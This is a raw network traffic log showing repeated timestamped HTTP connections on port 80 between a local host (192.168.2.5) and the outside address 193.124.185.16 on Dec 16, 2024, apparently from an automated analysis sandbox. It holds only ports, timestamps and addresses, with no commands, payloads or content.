Dec 16, 2024 13:13:05.521025896 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.117047071 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.213785887 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.272780895 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.323096037 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.350445986 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.511410952 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.526268005 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.674669981 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.674957037 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.676733971 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.795654058 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.795676947 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.795747042 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.795778036 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.796869040 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:06.797229052 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.797441006 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:06.917083025 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:07.151321888 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:07.271006107 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:08.033184052 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:08.213721037 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.266338110 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:08.401722908 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.527507067 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.535384893 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.647828102 CET	80	49806	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:08.649760008 CET	49806	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.655416012 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:08.656120062 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.656513929 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:08.776717901 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:09.013806105 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:09.133766890 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:09.892644882 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.010838985 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.126789093 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.198137999 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.329432011 CET	49816	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.329722881 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.390166998 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.449347973 CET	80	49816	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.449409962 CET	49816	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.449749947 CET	80	49810	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.449851036 CET	49810	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.510202885 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.513856888 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.514136076 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.522799969 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.634191036 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.643585920 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.643692017 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.643898964 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.763739109 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.870264053 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.990864992 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.990911007 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.990955114 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.990963936 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991044998 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991089106 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991120100 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.991157055 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.991405964 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991417885 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991436005 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991446018 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:10.991498947 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.991518021 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:10.995351076 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.111167908 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.111222982 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.111243963 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.111253977 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.111268044 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.111403942 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.115145922 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.154937029 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.157944918 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.274920940 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.277803898 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.318813086 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.319250107 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.438873053 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.479129076 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.479342937 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.599345922 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599482059 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599539042 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599570036 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599600077 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599630117 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599683046 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599713087 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599742889 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599813938 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599843979 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599895954 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599953890 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.599987030 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600125074 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600153923 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600184917 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600311041 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600343943 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600447893 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.600480080 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.749321938 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.807472944 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:11.869812012 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:11.916848898 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.101906061 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.151223898 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.244313955 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.244664907 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.364461899 CET	80	49818	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.364485025 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.364530087 CET	49818	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.364608049 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.364845037 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.388295889 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.388653040 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.484641075 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.508449078 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.713844061 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.745130062 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.780047894 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.823162079 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:12.833723068 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.865511894 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:12.865526915 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:13.288697004 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:13.338803053 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:13.648677111 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:13.698101997 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:13.885051966 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:13.932454109 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.032011986 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.032027960 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.032352924 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.152719975 CET	80	49830	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:14.152863979 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.152980089 CET	80	49824	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:14.153034925 CET	49824	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.153175116 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.153882027 CET	80	49817	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:14.153933048 CET	49817	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.273313046 CET	80	49830	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:14.510759115 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:14.630640984 CET	80	49830	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:15.379296064 CET	80	49830	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:15.432579041 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:15.623809099 CET	80	49830	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:15.666866064 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:15.743108988 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:15.863076925 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:15.863306046 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:15.863403082 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:15.983376026 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:16.213968992 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:16.333849907 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.105680943 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.151365995 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.337654114 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.385586023 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.463994980 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.464354992 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.584165096 CET	80	49839	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.584274054 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.584309101 CET	80	49833	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.584371090 CET	49833	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.584578991 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:17.704442024 CET	80	49839	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:17.932596922 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.052407026 CET	80	49839	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.293087006 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.293375015 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.412960052 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.413054943 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.454818010 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.454915047 CET	80	49839	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.550546885 CET	80	49839	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.550764084 CET	49839	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.574815035 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.600795984 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.720747948 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.720873117 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.736691952 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.841512918 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:18.856467009 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.961822033 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:18.961834908 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:19.088823080 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:19.208745956 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:19.658176899 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:19.698137999 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:19.892437935 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:19.948107958 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:19.966664076 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.010708094 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.198189020 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.245076895 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.322675943 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.322956085 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.323518991 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.443698883 CET	80	49843	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.443732023 CET	80	49849	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.443866014 CET	49843	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.443953037 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.444029093 CET	80	49845	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.444094896 CET	49845	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.444402933 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.564107895 CET	80	49849	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:20.792125940 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:20.911927938 CET	80	49849	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:21.677011013 CET	80	49849	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:21.729347944 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:21.909949064 CET	80	49849	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:21.963735104 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:22.024871111 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:22.145518064 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:22.145668030 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:22.145837069 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:22.266510010 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:22.495292902 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:22.615124941 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:23.380964994 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:23.432519913 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.618485928 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:23.666946888 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.746249914 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.746634960 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.867182970 CET	80	49858	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:23.867199898 CET	80	49853	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:23.867367029 CET	49853	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.867615938 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.867615938 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:23.988128901 CET	80	49858	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:24.214459896 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:24.334368944 CET	80	49858	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:24.902195930 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:24.902498960 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.022317886 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.022881985 CET	80	49858	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.023065090 CET	49858	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.023272991 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.023272991 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.024982929 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.144573927 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.146003962 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.147882938 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.148121119 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.267889977 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.370528936 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.490768909 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.491213083 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:25.495182991 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:25.615066051 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.252480030 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.307492018 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.380676031 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.432478905 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.486588001 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.541974068 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.613733053 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.666845083 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.861589909 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.861668110 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.863177061 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.981777906 CET	80	49864	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.981842995 CET	49864	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.982232094 CET	80	49865	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.982279062 CET	49865	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.984189034 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:26.984256029 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:26.986047029 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:27.105762005 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:27.339128017 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:27.459012032 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:28.216939926 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:28.260668039 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.451212883 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:28.495013952 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.572571039 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.572920084 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.692861080 CET	80	49869	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:28.692888975 CET	80	49873	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:28.692945004 CET	49869	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.693026066 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.693236113 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:28.813126087 CET	80	49873	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:29.042032957 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:29.161874056 CET	80	49873	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:29.926424980 CET	80	49873	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:29.979510069 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.158152103 CET	80	49873	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:30.213771105 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.273803949 CET	49830	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.273895025 CET	49849	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.277211905 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.396925926 CET	80	49878	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:30.397057056 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.397242069 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.516910076 CET	80	49878	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:30.745047092 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:30.864818096 CET	80	49878	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.496335030 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.496777058 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.616540909 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.616616964 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.616805077 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.618324041 CET	80	49878	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.618403912 CET	49878	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.656835079 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.736805916 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.776719093 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.776850939 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.777020931 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:31.896781921 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:31.964237928 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:32.084158897 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:32.084327936 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:32.135742903 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:32.255649090 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:32.845590115 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:32.885634899 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.003139019 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.057562113 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.082675934 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.135649920 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.237984896 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.291887045 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.368374109 CET	49884	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.368380070 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.368721962 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.488607883 CET	80	49889	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.488727093 CET	80	49884	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.488739967 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.488806963 CET	49884	80	192.168.2.5	193.124.185.16
